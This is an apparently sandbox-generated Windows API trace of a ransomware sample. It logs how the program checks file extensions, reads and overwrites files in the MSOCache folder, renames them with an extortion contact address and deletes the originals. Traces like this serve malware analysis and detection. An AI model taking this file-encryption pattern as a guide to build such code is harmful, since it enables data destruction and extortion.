lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString=".xlsx") returned 5 [0058.171] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0058.171] lstrlenW (lpString=".ppt") returned 4 [0058.171] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".zip") returned 4 [0058.171] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString=".rar") returned 4 [0058.171] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0058.171] lstrlenW (lpString=".bz2") returned 4 [0058.171] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0058.171] lstrlenW (lpString=".7z") returned 3 [0058.171] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".dbf") returned 4 [0058.171] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".1cd") returned 4 [0058.171] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0058.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0058.171] lstrlenW (lpString=".jpg") returned 4 [0058.171] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0058.172] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0058.172] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0058.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.493] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10798080) returned 1 [0058.494] CloseHandle (hObject=0x204) returned 1 [0058.494] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0058.494] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0058.494] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0058.494] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.494] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.494] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.494] ReadFile (in: hFile=0x204, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.497] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.497] ReadFile (in: hFile=0x204, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.499] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.499] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.499] ReadFile (in: hFile=0x204, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.516] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.516] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0058.530] SetEndOfFile (hFile=0x204) returned 1 [0058.530] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0058.785] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.785] WriteFile (in: hFile=0x204, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.786] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.786] WriteFile (in: hFile=0x204, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.788] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.788] WriteFile (in: hFile=0x204, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.792] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0058.792] CloseHandle (hObject=0x204) returned 1 [0058.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.793] lstrlenW (lpString=".doc") returned 4 [0058.793] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.793] lstrlenW (lpString=".docx") returned 5 [0058.793] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0058.793] lstrlenW (lpString=".pdf") returned 4 [0058.793] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.793] lstrlenW (lpString=".xls") returned 4 [0058.793] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.793] lstrlenW (lpString=".xlsx") returned 5 [0058.793] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0058.793] lstrlenW (lpString=".ppt") returned 4 [0058.793] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.793] lstrlenW (lpString=".zip") returned 4 [0058.793] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.793] lstrlenW (lpString=".rar") returned 4 [0058.793] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.793] lstrlenW (lpString=".bz2") returned 4 [0058.793] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.793] lstrlenW (lpString=".7z") returned 3 [0058.793] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".dbf") returned 4 [0058.794] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".1cd") returned 4 [0058.794] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".jpg") returned 4 [0058.794] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".doc") returned 4 [0058.794] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.794] lstrlenW (lpString=".docx") returned 5 [0058.794] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0058.794] lstrlenW (lpString=".pdf") returned 4 [0058.794] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.794] lstrlenW (lpString=".xls") returned 4 [0058.794] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.794] lstrlenW (lpString=".xlsx") returned 5 [0058.794] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0058.794] lstrlenW (lpString=".ppt") returned 4 [0058.794] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".zip") returned 4 [0058.794] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.794] lstrlenW (lpString=".rar") returned 4 [0058.794] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.794] lstrlenW (lpString=".bz2") returned 4 [0058.794] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.794] lstrlenW (lpString=".7z") returned 3 [0058.794] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.794] lstrlenW (lpString=".dbf") returned 4 [0058.794] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.795] lstrlenW (lpString=".1cd") returned 4 [0058.795] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0058.795] lstrlenW (lpString=".jpg") returned 4 [0058.795] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.795] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0058.795] lstrlenW (lpString="ose.exe") returned 7 [0058.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.969] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=174440) returned 1 [0059.969] CloseHandle (hObject=0x1fc) returned 1 [0059.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0059.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0059.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.969] GetLastError () returned 0x0 [0059.970] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0059.974] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0059.977] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.977] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0059.977] SetEndOfFile (hFile=0x204) returned 1 [0059.977] CloseHandle (hObject=0x204) returned 1 [0059.977] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.977] SetEndOfFile (hFile=0x1fc) returned 1 [0059.979] CloseHandle (hObject=0x1fc) returned 1 [0059.979] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0059.979] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0059.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.979] lstrlenW (lpString=".doc") returned 4 [0059.979] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.979] lstrlenW (lpString=".docx") returned 5 [0059.979] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.980] lstrlenW (lpString=".pdf") returned 4 [0059.980] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString=".xls") returned 4 [0059.980] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString=".xlsx") returned 5 [0059.980] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.980] lstrlenW (lpString=".ppt") returned 4 [0059.980] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString=".zip") returned 4 [0059.980] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString=".rar") returned 4 [0059.980] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString=".bz2") returned 4 [0059.980] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.980] lstrlenW (lpString=".7z") returned 3 [0059.980] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString=".dbf") returned 4 [0059.980] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString=".1cd") returned 4 [0059.980] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString=".jpg") returned 4 [0059.980] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.980] lstrlenW (lpString=".doc") returned 4 [0059.980] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.980] lstrlenW (lpString=".docx") returned 5 [0059.980] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.980] lstrlenW (lpString=".pdf") returned 4 [0059.980] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.981] lstrlenW (lpString=".xls") returned 4 [0059.981] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.981] lstrlenW (lpString=".xlsx") returned 5 [0059.981] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.981] lstrlenW (lpString=".ppt") returned 4 [0059.981] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.981] lstrlenW (lpString=".zip") returned 4 [0059.981] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.981] lstrlenW (lpString=".rar") returned 4 [0059.981] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.981] lstrlenW (lpString=".bz2") returned 4 [0059.981] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.981] lstrlenW (lpString=".7z") returned 3 [0059.981] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.981] lstrlenW (lpString=".dbf") returned 4 [0059.981] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.981] lstrlenW (lpString=".1cd") returned 4 [0059.981] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.981] lstrlenW (lpString=".jpg") returned 4 [0059.981] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.981] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0059.981] lstrlenW (lpString="setup.exe") returned 9 [0059.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.982] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1377656) returned 1 [0059.982] CloseHandle (hObject=0x1fc) returned 1 [0059.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0059.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0059.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.983] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.983] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.983] GetLastError () returned 0x0 [0059.983] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0060.006] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0060.278] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x50588, lpOverlapped=0x0) returned 1 [0060.292] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0060.300] ReadFile (in: hFile=0x1fc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.300] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.300] SetEndOfFile (hFile=0x204) returned 1 [0060.300] CloseHandle (hObject=0x204) returned 1 [0060.300] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.300] SetEndOfFile (hFile=0x1fc) returned 1 [0060.304] CloseHandle (hObject=0x1fc) returned 1 [0060.304] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.304] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0060.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.304] lstrlenW (lpString=".doc") 